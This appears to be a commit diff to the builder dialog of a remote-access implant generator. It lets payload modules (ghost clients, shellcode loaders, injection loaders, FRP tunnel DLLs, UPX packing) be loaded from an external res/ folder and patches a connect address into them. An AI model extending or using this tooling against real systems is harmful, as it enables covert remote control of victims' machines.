Feature: Allow external resource override from res/ directory
This commit is contained in:
@@ -10,6 +10,8 @@
|
||||
#include "InputDlg.h"
|
||||
#include <bcrypt.h>
|
||||
#include <wincrypt.h>
|
||||
#include <Shlwapi.h>
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
#include "Resource.h"
|
||||
extern "C" {
|
||||
#include "client/reg_startup.h"
|
||||
@@ -49,11 +51,66 @@ std::string GetPwdHash();
|
||||
|
||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||
|
||||
LPBYTE ReadResource(int resourceId, DWORD &dwSize)
|
||||
// 获取程序目录下 res 子目录的路径
|
||||
static CString GetResDirectoryPath()
|
||||
{
|
||||
TCHAR szPath[MAX_PATH];
|
||||
GetModuleFileName(NULL, szPath, MAX_PATH);
|
||||
PathRemoveFileSpec(szPath);
|
||||
PathAppend(szPath, _T("res"));
|
||||
return CString(szPath);
|
||||
}
|
||||
|
||||
// 从外部文件读取资源(优先级高于内嵌资源)
|
||||
static LPBYTE ReadResourceFromFile(const char* resName, DWORD &dwSize)
|
||||
{
|
||||
if (!resName || !resName[0]) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
CString resDir = GetResDirectoryPath();
|
||||
CString filePath;
|
||||
filePath.Format(_T("%s\\%hs"), (LPCTSTR)resDir, resName);
|
||||
|
||||
// 检查文件是否存在
|
||||
if (GetFileAttributes(filePath) == INVALID_FILE_ATTRIBUTES) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// 打开文件
|
||||
HANDLE hFile = CreateFile(filePath, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// 获取文件大小
|
||||
LARGE_INTEGER fileSize;
|
||||
if (!GetFileSizeEx(hFile, &fileSize) || fileSize.QuadPart == 0) {
|
||||
CloseHandle(hFile);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// 分配内存并读取文件
|
||||
dwSize = (DWORD)fileSize.QuadPart;
|
||||
LPBYTE buffer = new BYTE[dwSize];
|
||||
DWORD bytesRead = 0;
|
||||
if (!ReadFile(hFile, buffer, dwSize, &bytesRead, NULL) || bytesRead != dwSize) {
|
||||
delete[] buffer;
|
||||
CloseHandle(hFile);
|
||||
dwSize = 0;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
CloseHandle(hFile);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
// 从内嵌资源读取
|
||||
static LPBYTE ReadResourceFromEmbedded(int resourceId, DWORD &dwSize)
|
||||
{
|
||||
dwSize = 0;
|
||||
auto id = resourceId;
|
||||
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
|
||||
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(resourceId), "BINARY");
|
||||
if (hResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
@@ -76,6 +133,54 @@ LPBYTE ReadResource(int resourceId, DWORD &dwSize)
|
||||
return r;
|
||||
}
|
||||
|
||||
// 读取资源:优先从 res 目录读取外部文件,如果不存在则使用内嵌资源
|
||||
// resName: 外部文件名(如 "ghost_x64.exe"),为空时直接使用内嵌资源
|
||||
LPBYTE ReadResource(int resourceId, DWORD &dwSize, const char* resName)
|
||||
{
|
||||
dwSize = 0;
|
||||
|
||||
// 1. 优先尝试从 res 目录读取外部文件
|
||||
if (resName && resName[0]) {
|
||||
LPBYTE data = ReadResourceFromFile(resName, dwSize);
|
||||
if (data) {
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
// 2. 回退到内嵌资源
|
||||
return ReadResourceFromEmbedded(resourceId, dwSize);
|
||||
}
|
||||
|
||||
// ========== res 目录外部资源文件名定义 ==========
|
||||
// 命名规范:<模块名>_<架构>.exe/.dll/.bin
|
||||
// 架构:x86 / x64 / linux / macos
|
||||
namespace ResFileName {
|
||||
// Ghost 主程序
|
||||
const char* GHOST_X86 = "ghost_x86.exe";
|
||||
const char* GHOST_X64 = "ghost_x64.exe";
|
||||
const char* GHOST_LINUX = "ghost_linux";
|
||||
const char* GHOST_MACOS = "ghost_macos"; // 预留
|
||||
// TestRun 加载器
|
||||
const char* TESTRUN_X86 = "testrun_x86.dll";
|
||||
const char* TESTRUN_X64 = "testrun_x64.dll";
|
||||
// ServerDll
|
||||
const char* SERVERDLL_X86 = "serverdll_x86.dll";
|
||||
const char* SERVERDLL_X64 = "serverdll_x64.dll";
|
||||
// TinyRun
|
||||
const char* TINYRUN_X86 = "tinyrun_x86.exe";
|
||||
const char* TINYRUN_X64 = "tinyrun_x64.exe";
|
||||
// SCLoader (Shellcode加载器)
|
||||
const char* SCLOADER_X86 = "scloader_x86.bin";
|
||||
const char* SCLOADER_X64 = "scloader_x64.bin";
|
||||
const char* SCLOADER_X86_OLD = "scloader_old_x86.bin";
|
||||
const char* SCLOADER_X64_OLD = "scloader_old_x64.bin";
|
||||
// FRP 相关 (无架构区分,64位DLL)
|
||||
const char* FRPC_DLL = "frpc.dll";
|
||||
const char* FRPS_DLL = "frps.dll";
|
||||
// 工具
|
||||
const char* UPX_EXE = "upx.exe";
|
||||
const char* RCEDIT_EXE = "rcedit.exe";
|
||||
}
|
||||
|
||||
CString GenerateRandomName(int nLength)
|
||||
{
|
||||
@@ -180,10 +285,10 @@ bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuff
|
||||
|
||||
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0);
|
||||
|
||||
std::string ReleaseEXE(int resID, const char* name)
|
||||
std::string ReleaseEXE(int resID, const char* name, const char* resName)
|
||||
{
|
||||
DWORD dwSize = 0;
|
||||
LPBYTE data = ReadResource(resID, dwSize);
|
||||
LPBYTE data = ReadResource(resID, dwSize, resName);
|
||||
if (!data)
|
||||
return "";
|
||||
|
||||
@@ -329,42 +434,48 @@ void CBuildDlg::OnBnClickedOk()
|
||||
startup = std::map<int, int> {
|
||||
{IndexTestRun_DLL, Startup_DLL},{IndexTestRun_MemDLL, Startup_MEMDLL},{IndexTestRun_InjSC, Startup_InjSC},
|
||||
} [index];
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||||
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||||
break;
|
||||
case IndexGhost:
|
||||
file = "ghost.exe";
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
||||
typ = CLIENT_TYPE_ONE;
|
||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
|
||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||||
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||||
break;
|
||||
case IndexGhostMsc:
|
||||
file = "ghost.exe";
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
||||
typ = CLIENT_TYPE_ONE;
|
||||
startup = Startup_GhostMsc;
|
||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
|
||||
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||||
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||||
break;
|
||||
case IndexTestRunMsc:
|
||||
file = "TestRun.exe";
|
||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
||||
typ = CLIENT_TYPE_MEMDLL;
|
||||
startup = Startup_TestRunMsc;
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
|
||||
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||||
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||||
break;
|
||||
case IndexServerDll:
|
||||
file = "ServerDll.dll";
|
||||
typ = CLIENT_TYPE_DLL;
|
||||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize);
|
||||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
|
||||
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
|
||||
break;
|
||||
case IndexTinyRun:
|
||||
file = "TinyRun.dll";
|
||||
typ = CLIENT_TYPE_SHELLCODE;
|
||||
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize);
|
||||
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
|
||||
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
|
||||
break;
|
||||
case IndexLinuxGhost:
|
||||
file = "ghost";
|
||||
typ = CLIENT_TYPE_LINUX;
|
||||
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize);
|
||||
szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize, ResFileName::GHOST_LINUX);
|
||||
break;
|
||||
case OTHER_ITEM: {
|
||||
m_OtherItem.GetWindowTextA(file);
|
||||
@@ -470,7 +581,8 @@ void CBuildDlg::OnBnClickedOk()
|
||||
} else {
|
||||
if (sel == CLIENT_COMPRESS_SC_AES) {
|
||||
DWORD dwSize = 0;
|
||||
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize);
|
||||
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize,
|
||||
is64bit ? ResFileName::SCLOADER_X64 : ResFileName::SCLOADER_X86);
|
||||
if (data) {
|
||||
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
|
||||
if (iOffset != -1) {
|
||||
@@ -534,7 +646,8 @@ void CBuildDlg::OnBnClickedOk()
|
||||
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
|
||||
sel == CLIENT_COMP_SC_AES_OLD_UPX) {
|
||||
DWORD dwSize = 0;
|
||||
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize);
|
||||
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize,
|
||||
is64bit ? ResFileName::SCLOADER_X64_OLD : ResFileName::SCLOADER_X86_OLD);
|
||||
if (data) {
|
||||
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
|
||||
if (iOffset != -1) {
|
||||
|
||||
Reference in New Issue
Block a user